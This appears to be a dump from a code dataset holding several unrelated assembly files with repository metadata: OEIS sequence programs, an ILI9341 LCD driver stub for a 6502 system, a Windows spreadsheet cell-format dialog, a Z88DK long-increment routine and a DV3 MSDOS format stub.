; 1,2,4,8,16,32,64,128,77,154,129,79,158,137,95,11,22,44,88,176,173,167,155,131,83,166,153,127,75,150,121,63,126,73,146,113,47,94,9,18,36,72,144,109,39,78,156,133,87,174,169,159,139,99,19,38,76,152,125,71,142,105,31,62,124,69,138,97,15,30,60,120,61,122,65,130,81,162,145,111,43,86,172,165,151,123,67,134,89,178,177,175,171,163,147,115,51,102,25,50
mov $1,1
lpb $0
sub $0,1
mul $1,2
mod $1,179
lpe
mov $0,$1
| 40.454545 | 347 | 0.667416 |
62b7599ddcf707e91afe7eb2ace93bfb15d13ab3 | 720 | asm | Assembly | programs/oeis/178/A178226.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/178/A178226.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/178/A178226.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A178226: Characteristic function of A154809 (numbers that are not binary palindromes)
; 0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
cal $0,55945 ; n - reversal of base 2 digits of n (and then the result is written in base 10).
mov $1,1
lpb $1,1
mov $1,$0
lpe
| 80 | 501 | 0.565278 |
b67bbc0c0f9992f8ead61b37d749e7dcda8a755d | 3,924 | asm | Assembly | include/lcd/ILI9341.asm | ZornTaov/6502 | 4d9446124190ff258f128a3f5c34518bc87c4f32 | [
"MIT"
] | null | null | null | include/lcd/ILI9341.asm | ZornTaov/6502 | 4d9446124190ff258f128a3f5c34518bc87c4f32 | [
"MIT"
] | null | null | null | include/lcd/ILI9341.asm | ZornTaov/6502 | 4d9446124190ff258f128a3f5c34518bc87c4f32 | [
"MIT"
] | null | null | null | .region ILI9341 COMMANDS
LCD_TFTWIDTH = 240 // ILI9341 max TFT width
LCD_TFTHEIGHT = 320 // ILI9341 max TFT height
LCD_NOP = 0x00 // No-op register
LCD_SWRESET = 0x01 // Software reset register
LCD_RDDID = 0x04 // Read display identification information
LCD_RDDST = 0x09 // Read Display Status
LCD_SLPIN = 0x10 // Enter Sleep Mode
LCD_SLPOUT = 0x11 // Sleep Out
LCD_PTLON = 0x12 // Partial Mode ON
LCD_NORON = 0x13 // Normal Display Mode ON
LCD_RDMODE = 0x0a // Read Display Power Mode
LCD_RDMADCTL = 0x0b // Read Display MADCTL
LCD_RDPIXFMT = 0x0c // Read Display Pixel Format
LCD_RDIMGFMT = 0x0d // Read Display Image Format
LCD_RDSELFDIAG = 0x0f // Read Display Self-Diagnostic Result
LCD_INVOFF = 0x20 // Display Inversion OFF
LCD_INVON = 0x21 // Display Inversion ON
LCD_GAMMASET = 0x26 // Gamma Set
LCD_DISPOFF = 0x28 // Display OFF
LCD_DISPON = 0x29 // Display ON
LCD_CASET = 0x2a // Column Address Set
LCD_PASET = 0x2b // Page Address Set
LCD_RAMWR = 0x2c // Memory Write
LCD_RAMRD = 0x2e // Memory Read
LCD_PTLAR = 0x30 // Partial Area
LCD_VSCRDEF = 0x33 // Vertical Scrolling Definition
LCD_MADCTL = 0x36 // Memory Access Control
LCD_VSCRSADD = 0x37 // Vertical Scrolling Start Address
LCD_PIXFMT = 0x3a // COLMOD: Pixel Format Set
LCD_FRMCTR1 = 0xb1 // Frame Rate Control (In Normal Mode/Full Colors)
LCD_FRMCTR2 = 0xb2 // Frame Rate Control (In Idle Mode/8 colors)
LCD_FRMCTR3 = 0xb3 // Frame Rate control (In Partial Mode/Full Colors)
LCD_INVCTR = 0xb4 // Display Inversion Control
LCD_DFUNCTR = 0xb6 // Display Function Control
LCD_PWCTR1 = 0xc0 // Power Control 1
LCD_PWCTR2 = 0xc1 // Power Control 2
LCD_VMCTR1 = 0xc5 // VCOM Control 1
LCD_VMCTR2 = 0xc7 // VCOM Control 2
LCD_RDID1 = 0xda // Read ID 1
LCD_RDID2 = 0xdb // Read ID 2
LCD_RDID3 = 0xdc // Read ID 3
LCD_RDID4 = 0xdd // Read ID 4
LCD_GMCTRP1 = 0xe0 // Positive Gamma Correction
LCD_GMCTRN1 = 0xe1 // Negative Gamma Correction
LCD_EN3G = 0xf2 // Enable 3G
.endregion
.region ILI9341 PINS
PORTB_PINS = 0b00111100
PORTA_PINS = 0b11100000
SCK = 0b10000000 //
SDO = 0b01000000 //
CS = 0b00100000 //
RST = 0b00010000 //
DC = 0b00001000 //
//TCS = 0b00000100 //
//TIRQ = 0b00000010 //
.endregion
LCD_startup:
.byte LCD_PWCTR1 , 1, 0x23, // set GVDD to 4.6V
.byte LCD_PWCTR2 , 1, 0x10, // UNKNOWN
.byte LCD_VMCTR1 , 2, 0x3e, 0x28, // set VCOMH to 4.275V, VCOML to -1.5V
.byte LCD_VMCTR2 , 1, 0x86, // set nVM to 1 and VMF to VMH –58 VML –58
.byte LCD_MADCTL , 1, 0x48, // set MX and BGR
.byte LCD_VSCRSADD, 1, 0x00, // set scrolling start address to 0 (should be 2 parameters?)
.byte LCD_PIXFMT , 1, 0x55, // set RGB and MCU to 16 bits / pixel
.byte LCD_FRMCTR1 , 2, 0x00, 0x18, // sets DIVA to 0 and frame rate to 79Hz and 24 clocks/line
.byte LCD_DFUNCTR , 3, 0x08, 0x82, 0x27, // sets interval scan, REV to normally white, ISC to 5 frames, NL to 320, doesn't set PCDIV???
.byte LCD_EN3G , 1, 0x02, // disables 3G
.byte LCD_GAMMASET, 1, 0x01, // select gamma curve 1
.byte LCD_GMCTRP1 , 15, 0x0F, 0x31, 0x2B, 0x0C, 0x0E, 0x08, 0x4E, 0xF1, 0x37, 0x07, 0x10, 0x03, 0x0E, 0x09, 0x00,
.byte LCD_GMCTRN1 , 15, 0x00, 0x0E, 0x14, 0x03, 0x11, 0x07, 0x31, 0xC1, 0x48, 0x08, 0x0F, 0x0C, 0x31, 0x36, 0x0F,
.byte LCD_NOP // finish startup
lcd_begin:
// set rst high (initially held low)
// for each of LCD_startup
// if command is 0x0 then stop
// send commend to LCD over 6522 SR
// get number of params
// loop until number
// send each param
// end param loop
// end startup loop
// sleep out
// display on
shift_cmd:
//set d/c low
jmp shift_out
shift_data:
//set d/c high
shift_out:
//set cs low
//start 6522 sr using 110 phi2 clock control
//wait for irqb
//stop 6522 sr
//set cs high | 34.725664 | 136 | 0.675076 |
a47b181a8f36fc40b1d5e15cfee0144c635591d0 | 15,813 | asm | Assembly | Code/CustomControl/SpreadSheet/SprDemo/SprCellFmt.asm | CherryDT/FbEditMOD | beb0eb22cae1b8f7203d55bd6b293d8ec88231ca | [
"Unlicense"
] | 11 | 2016-12-03T16:35:42.000Z | 2022-03-26T06:02:53.000Z | SpreadSheet/SpreadSheet/SprDemo/SprCellFmt.asm | majkinetor/FormsFramework | e3df41fdcf0fc9fb18d78ddcb4dd1cf1937c7752 | [
"Unlicense"
] | 1 | 2018-02-24T20:17:46.000Z | 2018-03-02T08:57:40.000Z | SpreadSheet/SpreadSheet/SprDemo/SprCellFmt.asm | majkinetor/FormsFramework | e3df41fdcf0fc9fb18d78ddcb4dd1cf1937c7752 | [
"Unlicense"
] | 8 | 2015-06-24T13:32:36.000Z | 2021-01-21T08:27:34.000Z |
.const
;SprShtCellFmt.dlg
IDC_CHK6 equ 1128
IDC_CHK7 equ 1109
IDC_STC3 equ 1116
IDC_STC4 equ 1117
IDC_STC5 equ 1118
IDC_STC6 equ 1119
IDC_CHK1 equ 1101
IDC_RBN1 equ 1102
IDC_RBN2 equ 1103
IDC_RBN3 equ 1104
IDC_RBN4 equ 1105
IDC_RBN5 equ 1106
IDC_RBN6 equ 1107
IDC_RBN7 equ 1108
IDC_CHK5 equ 1129
IDC_RBN8 equ 1122
IDC_RBN9 equ 1123
IDC_RBN10 equ 1124
IDC_RBN11 equ 1125
IDC_RBN12 equ 1126
IDC_RBN13 equ 1127
IDC_CHK2 equ 1112
IDC_CHK3 equ 1113
IDC_CHK4 equ 1111
IDC_EDT1 equ 1114
IDC_UDN1 equ 1115
;Font
IDC_CHK8 equ 1130
IDC_CBO1 equ 1110
IDC_STC1 equ 1120
IDC_BTN1 equ 1121
;Size
IDC_CHK14 equ 1132
IDC_CHK15 equ 1134
IDC_STC14 equ 1135
IDC_STC18 equ 1136
IDC_EDT9 equ 1131
IDC_EDT10 equ 1133
.data?
bckcol dd ?
txtcol dd ?
txtal db ?
imgal db ?
decimal db ?
cwt dd ?
rht dd ?
.code
SetCState proc uses ebx esi,hWin:DWORD
LOCAL fnt:FONT
;Back color
invoke IsDlgButtonChecked,hWin,IDC_CHK6
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_STC3
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_STC5
invoke EnableWindow,eax,ebx
mov eax,spri.fmt.bckcol
.if !ebx || eax==-1
mov eax,gfmt.cell.bckcol
.endif
mov bckcol,eax
;Text color
invoke IsDlgButtonChecked,hWin,IDC_CHK7
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_STC4
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_STC6
invoke EnableWindow,eax,ebx
mov eax,spri.fmt.txtcol
.if !ebx || eax==-1
mov eax,gfmt.cell.txtcol
.endif
mov txtcol,eax
;Text alignment
invoke IsDlgButtonChecked,hWin,IDC_CHK1
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_RBN1
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN2
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN3
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN4
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN5
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN6
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN7
invoke EnableWindow,eax,ebx
mov al,spri.fmt.txtal
mov dl,al
and dl,FMTA_MASK
.if !ebx || dl==FMTA_GLOBAL
mov al,gfmt.cell.txtal
.endif
and al,FMTA_MASK
and txtal,FMTD_MASK
or txtal,al
and al,FMTA_XMASK
.if al==FMTA_AUTO
invoke CheckRadioButton,hWin,IDC_RBN1,IDC_RBN4,IDC_RBN1
.elseif al==FMTA_LEFT
invoke CheckRadioButton,hWin,IDC_RBN1,IDC_RBN4,IDC_RBN2
.elseif al==FMTA_CENTER
invoke CheckRadioButton,hWin,IDC_RBN1,IDC_RBN4,IDC_RBN3
.elseif al==FMTA_RIGHT
invoke CheckRadioButton,hWin,IDC_RBN1,IDC_RBN4,IDC_RBN4
.endif
mov al,txtal
and al,FMTA_YMASK
.if al==FMTA_TOP
invoke CheckRadioButton,hWin,IDC_RBN5,IDC_RBN7,IDC_RBN5
.elseif al==FMTA_MIDDLE
invoke CheckRadioButton,hWin,IDC_RBN5,IDC_RBN7,IDC_RBN6
.elseif al==FMTA_BOTTOM
invoke CheckRadioButton,hWin,IDC_RBN5,IDC_RBN7,IDC_RBN7
.endif
;Image alignment
invoke IsDlgButtonChecked,hWin,IDC_CHK5
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_RBN8
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN9
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN10
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN11
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN12
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_RBN13
invoke EnableWindow,eax,ebx
mov al,spri.fmt.imgal
and al,FMTA_MASK
.if !ebx || al==FMTA_GLOBAL
mov al,gfmt.cell.imgal
.endif
mov imgal,al
and al,FMTA_XMASK
.if al==FMTA_LEFT
invoke CheckRadioButton,hWin,IDC_RBN8,IDC_RBN10,IDC_RBN8
.elseif al==FMTA_CENTER
invoke CheckRadioButton,hWin,IDC_RBN8,IDC_RBN10,IDC_RBN9
.elseif al==FMTA_RIGHT
invoke CheckRadioButton,hWin,IDC_RBN8,IDC_RBN10,IDC_RBN10
.endif
mov al,imgal
and al,FMTA_YMASK
.if al==FMTA_TOP
invoke CheckRadioButton,hWin,IDC_RBN11,IDC_RBN13,IDC_RBN11
.elseif al==FMTA_MIDDLE
invoke CheckRadioButton,hWin,IDC_RBN11,IDC_RBN13,IDC_RBN12
.elseif al==FMTA_BOTTOM
invoke CheckRadioButton,hWin,IDC_RBN11,IDC_RBN13,IDC_RBN13
.endif
;Decimals
invoke IsDlgButtonChecked,hWin,IDC_CHK2
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_CHK3
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_CHK4
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_EDT1
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_UDN1
invoke EnableWindow,eax,ebx
.if ebx
invoke IsDlgButtonChecked,hWin,IDC_CHK3
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_EDT1
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_UDN1
invoke EnableWindow,eax,ebx
.if !ebx
and txtal,FMTA_MASK
or txtal,FMTD_SCI
.endif
.endif
.if ebx
invoke IsDlgButtonChecked,hWin,IDC_CHK4
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_EDT1
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_UDN1
invoke EnableWindow,eax,ebx
.if !ebx
and txtal,FMTA_MASK
or txtal,FMTD_ALL
.endif
.endif
;Font
invoke IsDlgButtonChecked,hWin,IDC_CHK8
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_CBO1
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_BTN1
invoke EnableWindow,eax,ebx
movzx esi,spri.fmt.fnt
.if !ebx || esi==0FFh
movzx esi,gfmt.cell.fnt
.endif
invoke SendDlgItemMessage,hWin,IDC_CBO1,CB_SETCURSEL,esi,0
invoke SendMessage,hSht,SPRM_GETFONT,esi,addr fnt
mov eax,fnt.hfont
invoke SendDlgItemMessage,hWin,IDC_STC1,WM_SETFONT,eax,TRUE
;Size
invoke IsDlgButtonChecked,hWin,IDC_CHK14
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_STC14
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_EDT9
invoke EnableWindow,eax,ebx
mov eax,cwt
.if !ebx
mov eax,gfmt.gcellwt
.endif
invoke SetDlgItemInt,hWin,IDC_EDT9,eax,FALSE
invoke IsDlgButtonChecked,hWin,IDC_CHK15
xor eax,1
mov ebx,eax
invoke GetDlgItem,hWin,IDC_STC18
invoke EnableWindow,eax,ebx
invoke GetDlgItem,hWin,IDC_EDT10
invoke EnableWindow,eax,ebx
mov eax,rht
.if !ebx
mov eax,gfmt.gcellht
.endif
invoke SetDlgItemInt,hWin,IDC_EDT10,eax,FALSE
invoke InvalidateRect,hWin,NULL,FALSE
ret
SetCState endp
InitFonts proc uses ebx,hWin:DWORD
LOCAL fnt:FONT
LOCAL buffer[256]:BYTE
LOCAL buffer1[256]:BYTE
invoke SendDlgItemMessage,hWin,IDC_CBO1,CB_RESETCONTENT,0,0
xor ecx,ecx
.while ecx<16
push ecx
invoke SendMessage,hSht,SPRM_GETFONT,ecx,addr fnt
mov al,fnt.face
.if al
invoke lstrcpy,addr buffer,addr fnt.face
mov dword ptr buffer1,' ,'
invoke wsprintfA,addr buffer1[2],offset fmtStr,fnt.fsize
invoke lstrcat,addr buffer,addr buffer1
lea eax,buffer
.else
mov eax,offset szNONE
.endif
invoke SendDlgItemMessage,hWin,IDC_CBO1,CB_ADDSTRING,0,eax
pop ecx
inc ecx
.endw
ret
InitFonts endp
GetFont proc hWin:DWORD
LOCAL nInx:DWORD
LOCAL fnt:FONT
LOCAL cf:CHOOSEFONT
LOCAL lf:LOGFONT
invoke RtlZeroMemory,addr cf,sizeof cf
invoke RtlZeroMemory,addr lf,sizeof lf
movzx edx,spri.fmt.fnt
.if dl==-1
movzx edx,gfmt.cell.fnt
.endif
invoke SendMessage,hSht,SPRM_GETFONT,edx,addr fnt
mov eax,fnt.ht
mov lf.lfHeight,eax
mov al,fnt.bold
mov edx,200
.if al
shl edx,1
.endif
mov lf.lfWeight,edx
invoke lstrcpy,addr lf.lfFaceName,addr fnt.face
mov cf.lStructSize,sizeof cf
mov eax,hWin
mov cf.hwndOwner,eax
lea eax,lf
mov cf.lpLogFont,eax
mov cf.Flags,CF_SCREENFONTS or CF_INITTOLOGFONTSTRUCT
invoke ChooseFont,addr cf
.if eax
invoke lstrcpy,addr fnt.face,addr lf.lfFaceName
mov eax,cf.iPointSize
xor edx,edx
mov ecx,10
div ecx
mov fnt.fsize,eax
mov eax,lf.lfHeight
mov fnt.ht,eax
mov eax,lf.lfWeight
.if eax>=700
mov fnt.bold,TRUE
.endif
movzx eax,lf.lfItalic
mov fnt.italic,al
movzx eax,lf.lfUnderline
mov fnt.underline,al
movzx eax,lf.lfStrikeOut
mov fnt.strikeout,al
movzx edx,spri.fmt.fnt
.if dl==-1
movzx edx,gfmt.cell.fnt
.endif
invoke SendMessage,hSht,SPRM_SETFONT,edx,addr fnt
invoke InitFonts,hWin
.else
mov eax,-1
.endif
ret
GetFont endp
CellFmtProc proc uses ebx,hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
LOCAL rect:RECT
mov eax,uMsg
.if eax==WM_INITDIALOG
;Create a brush
invoke CreateSolidBrush,0
mov hBrTmp,eax
;Get global spread sheet data
invoke SendMessage,hSht,SPRM_GETGLOBAL,0,offset gfmt
;Get cell data
lea ebx,spri
invoke SendMessage,hSht,SPRM_GETCURRENTCELL,0,0
mov edx,eax
and eax,0FFFFh
shr edx,16
mov [ebx].SPR_ITEM.flag,SPRIF_BACKCOLOR or SPRIF_TEXTCOLOR or SPRIF_TEXTALIGN or SPRIF_IMAGEALIGN or SPRIF_FONT or SPRIF_WIDTH or SPRIF_HEIGHT
mov [ebx].SPR_ITEM.col,eax
mov [ebx].SPR_ITEM.row,edx
invoke SendMessage,hSht,SPRM_GETCELLDATA,0,ebx
mov eax,[ebx].SPR_ITEM.fmt.bckcol
;Color
.if eax==-1
invoke CheckDlgButton,hWin,IDC_CHK6,BST_CHECKED
.endif
mov eax,[ebx].SPR_ITEM.fmt.txtcol
.if eax==-1
invoke CheckDlgButton,hWin,IDC_CHK7,BST_CHECKED
.endif
;Alignment
mov al,[ebx].SPR_ITEM.fmt.txtal
and al,FMTA_MASK
.if al==FMTA_GLOBAL
invoke CheckDlgButton,hWin,IDC_CHK1,BST_CHECKED
.endif
mov al,[ebx].SPR_ITEM.fmt.imgal
and al,FMTA_MASK
.if al==FMTA_GLOBAL
invoke CheckDlgButton,hWin,IDC_CHK5,BST_CHECKED
.endif
;Decimals
invoke SendDlgItemMessage,hWin,IDC_UDN1,UDM_SETRANGE,0,0000000Ch ;Set range
movzx eax,[ebx].SPR_ITEM.fmt.txtal
and al,FMTD_MASK
.if al==FMTD_GLOBAL
invoke CheckDlgButton,hWin,IDC_CHK2,BST_CHECKED
invoke CheckDlgButton,hWin,IDC_CHK3,BST_UNCHECKED
invoke CheckDlgButton,hWin,IDC_CHK4,BST_UNCHECKED
movzx eax,gfmt.cell.txtal
and al,FMTD_MASK
.elseif al==FMTD_SCI
invoke CheckDlgButton,hWin,IDC_CHK3,BST_CHECKED
invoke CheckDlgButton,hWin,IDC_CHK4,BST_UNCHECKED
mov eax,2
.elseif al==FMTD_ALL
invoke CheckDlgButton,hWin,IDC_CHK4,BST_CHECKED
invoke CheckDlgButton,hWin,IDC_CHK3,BST_UNCHECKED
mov eax,2
.endif
invoke SendDlgItemMessage,hWin,IDC_UDN1,UDM_SETPOS,0,eax ;Set default value
;Fonts
invoke InitFonts,hWin
mov al,spri.fmt.fnt
.if al==-1
invoke CheckDlgButton,hWin,IDC_CHK8,BST_CHECKED
.endif
;Size
mov eax,spri.wt
.if eax==-1
invoke CheckDlgButton,hWin,IDC_CHK14,BST_CHECKED
mov eax,gfmt.gcellwt
.endif
mov cwt,eax
invoke SetDlgItemInt,hWin,IDC_EDT9,eax,FALSE
mov eax,spri.ht
.if eax==-1
invoke CheckDlgButton,hWin,IDC_CHK15,BST_CHECKED
mov eax,gfmt.gcellht
.endif
mov rht,eax
invoke SetDlgItemInt,hWin,IDC_EDT10,eax,FALSE
invoke SetCState,hWin
.elseif eax==WM_COMMAND
mov eax,wParam
mov edx,eax
shr edx,16
and eax,0FFFFh
.if edx==BN_CLICKED
.if eax==IDOK
;Back color
invoke IsDlgButtonChecked,hWin,IDC_CHK6
.if eax
mov spri.fmt.bckcol,-1
.endif
;Text color
invoke IsDlgButtonChecked,hWin,IDC_CHK7
.if eax
mov spri.fmt.txtcol,-1
.endif
;Text alignment
invoke IsDlgButtonChecked,hWin,IDC_CHK1
.if eax
mov al,FMTA_GLOBAL
.else
mov al,txtal
.endif
and al,FMTA_MASK
mov spri.fmt.txtal,al
;Decimals
invoke IsDlgButtonChecked,hWin,IDC_CHK2
.if eax
mov al,FMTD_GLOBAL
.else
mov al,txtal
.endif
and al,FMTD_MASK
and spri.fmt.txtal,FMTA_MASK
or spri.fmt.txtal,al
;Image alignment
invoke IsDlgButtonChecked,hWin,IDC_CHK5
.if eax
mov al,FMTA_GLOBAL
.else
mov al,imgal
.endif
and al,FMTA_MASK
mov spri.fmt.imgal,al
;Image list index
mov al,imgal
and al,FMTD_MASK
or spri.fmt.imgal,al
;Font
invoke IsDlgButtonChecked,hWin,IDC_CHK8
.if eax
mov spri.fmt.fnt,-1
.endif
;Size
invoke IsDlgButtonChecked,hWin,IDC_CHK14
.if eax
mov spri.wt,-1
.else
mov eax,cwt
mov spri.wt,eax
.endif
invoke IsDlgButtonChecked,hWin,IDC_CHK15
.if eax
mov spri.ht,-1
.else
mov eax,rht
mov spri.ht,eax
.endif
invoke SendMessage,hSht,SPRM_GETMULTISEL,0,addr rect
mov edx,rect.top
.while edx<=rect.bottom
mov ecx,rect.left
.while ecx<=rect.right
push ecx
push edx
mov spri.col,ecx
mov spri.row,edx
invoke SendMessage,hSht,SPRM_SETCELLDATA,0,offset spri
pop edx
pop ecx
inc ecx
.endw
inc edx
.endw
invoke SendMessage,hWin,WM_CLOSE,NULL,NULL
.elseif eax==IDCANCEL
invoke SendMessage,hWin,WM_CLOSE,NULL,NULL
.elseif eax==IDC_CHK6
invoke SetCState,hWin
.elseif eax==IDC_CHK7
invoke SetCState,hWin
.elseif eax==IDC_STC3
invoke GetColor,hWin,bckcol
.if eax!=-1
mov spri.fmt.bckcol,eax
invoke SetCState,hWin
.endif
.elseif eax==IDC_STC4
invoke GetColor,hWin,txtcol
.if eax!=-1
mov spri.fmt.txtcol,eax
invoke SetCState,hWin
.endif
.elseif eax==IDC_CHK1
invoke SetCState,hWin
.elseif eax>=IDC_RBN1 && eax<=IDC_RBN4
sub eax,IDC_RBN1
shl al,4
mov dl,txtal
and dl,FMTA_YMASK or FMTD_MASK
or al,dl
mov spri.fmt.txtal,al
invoke SetCState,hWin
.elseif eax>=IDC_RBN5 && eax<=IDC_RBN7
sub eax,IDC_RBN5
shl al,6
mov dl,txtal
and dl,FMTA_XMASK or FMTD_MASK
or al,dl
mov spri.fmt.txtal,al
invoke SetCState,hWin
.elseif eax==IDC_CHK5
invoke SetCState,hWin
.elseif eax==IDC_CHK2
invoke CheckDlgButton,hWin,IDC_CHK3,BST_UNCHECKED
invoke CheckDlgButton,hWin,IDC_CHK4,BST_UNCHECKED
invoke SetCState,hWin
.elseif eax==IDC_CHK3
invoke CheckDlgButton,hWin,IDC_CHK4,BST_UNCHECKED
invoke SetCState,hWin
.elseif eax==IDC_CHK4
invoke CheckDlgButton,hWin,IDC_CHK3,BST_UNCHECKED
invoke SetCState,hWin
.elseif eax==IDC_CHK8
invoke SetCState,hWin
.elseif eax==IDC_BTN1
invoke GetFont,hWin
invoke SetCState,hWin
.elseif eax==IDC_CHK14
invoke SetCState,hWin
.elseif eax==IDC_CHK15
invoke SetCState,hWin
.endif
.elseif edx==EN_CHANGE
.if eax==IDC_EDT9
invoke IsDlgButtonChecked,hWin,IDC_CHK14
.if !eax
invoke GetDlgItemInt,hWin,IDC_EDT9,NULL,FALSE
mov cwt,eax
.endif
.elseif eax==IDC_EDT10
invoke IsDlgButtonChecked,hWin,IDC_CHK15
.if !eax
invoke GetDlgItemInt,hWin,IDC_EDT10,NULL,FALSE
mov rht,eax
.endif
.elseif eax==IDC_EDT1
invoke IsDlgButtonChecked,hWin,IDC_CHK2
.if !eax
invoke IsDlgButtonChecked,hWin,IDC_CHK3
.if !eax
invoke IsDlgButtonChecked,hWin,IDC_CHK4
.if !eax
invoke GetDlgItemInt,hWin,IDC_EDT1,NULL,FALSE
mov ah,txtal
and ah,FMTA_MASK
or al,ah
mov txtal,al
.endif
.endif
.endif
.endif
.elseif edx==CBN_SELCHANGE
invoke SendDlgItemMessage,hWin,IDC_CBO1,CB_GETCURSEL,0,0
mov spri.fmt.fnt,al
invoke SetCState,hWin
.endif
.elseif eax==WM_CTLCOLORSTATIC
invoke GetWindowLong,lParam,GWL_ID
.if eax==IDC_STC3
invoke DeleteObject,hBrTmp
invoke CreateSolidBrush,bckcol
mov hBrTmp,eax
ret
.elseif eax==IDC_STC4
invoke DeleteObject,hBrTmp
invoke CreateSolidBrush,txtcol
mov hBrTmp,eax
ret
.endif
.elseif eax==WM_CLOSE
invoke DeleteObject,hBrTmp
mov hBrTmp,0
invoke EndDialog,hWin,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
CellFmtProc endp
| 24.94164 | 146 | 0.705179 |
2fc509e5ef6a293590902daf8a24746004a27de5 | 405 | asm | Assembly | libsrc/_DEVELOPMENT/l/sccz80/9-common/i32/l_long_inc_mhl.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 4 | 2021-12-23T15:34:05.000Z | 2021-12-23T15:36:16.000Z | libsrc/_DEVELOPMENT/l/sccz80/9-common/i32/l_long_inc_mhl.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/l/sccz80/9-common/i32/l_long_inc_mhl.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | null | null | null | ; Small C+ Z88 Support Library
; Long functions
;
; djm 26/2/2000
; aralbrec 01/2007
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_long_inc
PUBLIC l_long_inc_mhl
;primary = primary + 1
;enter with primary in (hl)
.l_long_inc
.l_long_inc_mhl
inc (hl)
ret NZ
inc hl
inc (hl)
ret NZ
inc hl
inc (hl)
ret NZ
inc hl
inc (hl)
ret
| 11.911765 | 36 | 0.602469 |
93543c2bc40e08cb0639d2988d7c80a6839088d2 | 492 | asm | Assembly | dv3/msd/frmt.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | dv3/msd/frmt.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | dv3/msd/frmt.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; DV3 MSDOS Format V3.00 1993 Tony Tebby
section dv3
xdef msd_frmt
include 'dev8_dv3_keys'
include 'dev8_keys_err'
;+++
; DV3 MSDOS Format
;
; d0 cr format type / error code
; d7 c p drive ID / number
; a1 c p pointer to name
; a3 c p pointer to linkage
; a4 c p pointer to drive definition
;
; status return standard
;
;---
msd_frmt
moveq #err.nimp,d0
rts
end
| 18.222222 | 63 | 0.528455 |
Subsets and Splits